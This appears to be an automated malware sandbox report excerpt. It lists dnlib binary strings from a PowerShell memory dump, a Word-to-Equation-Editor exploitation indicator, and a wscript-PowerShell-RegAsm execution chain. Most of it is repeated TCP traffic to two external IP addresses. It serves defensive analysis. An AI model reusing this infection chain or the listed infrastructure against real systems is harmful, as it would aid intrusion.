Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetRVA source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePermissionSet source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPropertyProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetUserString source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetInterfaceImplProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldMarshal source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeDef source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeDefs source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportMember source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumInterfaceImpls source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportType source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromSig source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumEvents source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamForMethodIndex source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineField source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodsWithName source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsGlobal source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetEventProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: H:\New Private Panell Src 3.0 New\New Private Panell Src 3.0 2025\New Private Panell Src 3.0\dnlib-fuscator-master win7\src\obj\Debug\dnlib.pdb source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp

Software Vulnerabilities

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Suspicious execution chain found

Source: C:\Windows\SysWOW64\wscript.exe	Child: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Child: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.176.133:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.174:80

Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
